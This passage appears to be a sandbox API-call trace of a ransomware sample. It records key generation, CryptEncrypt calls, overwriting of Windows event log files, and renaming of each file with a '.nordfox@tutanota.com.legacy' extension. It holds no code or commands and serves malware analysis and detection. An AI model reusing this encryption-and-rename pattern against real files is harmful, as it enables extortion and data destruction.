lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.208] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.210] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.210] WriteFile (in: hFile=0x460, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.210] CloseHandle (hObject=0x460) returned 1 [0087.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0087.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0087.223] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ef80 | out: hHeap=0x520000) returned 1 [0087.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0087.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0087.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581860 [0087.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0087.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0087.226] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0087.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0087.227] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581b08 [0087.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bec8 [0087.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581b08 | out: hHeap=0x520000) returned 1 [0087.263] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.263] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.263] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.301] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.301] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.305] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.305] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.305] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.307] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.307] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.307] CloseHandle (hObject=0x460) returned 1 [0087.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0087.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0087.317] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bec8 | out: hHeap=0x520000) returned 1 [0087.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581860 | out: hHeap=0x520000) returned 1 [0087.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5818e8 | out: hHeap=0x520000) returned 1 [0087.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0087.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584358 [0087.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0087.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584358 | out: pbBuffer=0x584358) returned 1 [0087.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0087.320] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0087.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e558 [0087.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0087.320] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.321] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.322] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.343] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.343] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.347] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.349] WriteFile (in: hFile=0x460, lpBuffer=0x584358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.349] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.349] CloseHandle (hObject=0x460) returned 1 [0087.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584358 | out: hHeap=0x520000) returned 1 [0087.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0087.359] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e558 | out: hHeap=0x520000) returned 1 [0087.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0087.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0087.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0087.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0087.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0087.361] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0087.361] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0087.361] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0087.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5821f8 [0087.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0087.364] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.364] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.364] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.388] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.388] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.389] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.391] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.391] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.391] CloseHandle (hObject=0x460) returned 1 [0087.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0087.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0087.398] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0087.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0087.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0087.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0087.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0087.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0087.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0087.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d140 | out: pbBuffer=0x54d140) returned 1 [0087.404] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0087.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0087.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5821f8 [0087.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0087.404] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.405] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.405] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.432] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.432] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.434] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.436] WriteFile (in: hFile=0x460, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.436] WriteFile (in: hFile=0x460, lpBuffer=0x54d140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.437] CloseHandle (hObject=0x460) returned 1 [0087.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0087.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0087.440] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0087.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0087.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0087.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582858 [0087.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0087.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0087.611] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0087.611] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0087.611] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.612] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582a38 [0087.612] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e878 [0087.612] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a38 | out: hHeap=0x520000) returned 1 [0087.612] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.612] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.612] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.612] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.612] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.685] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.685] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.687] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.689] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.691] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.691] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.692] CloseHandle (hObject=0x460) returned 1 [0087.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0087.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0087.700] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e878 | out: hHeap=0x520000) returned 1 [0087.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582858 | out: hHeap=0x520000) returned 1 [0087.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5827e0 | out: hHeap=0x520000) returned 1 [0087.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582ba0 [0087.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0087.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 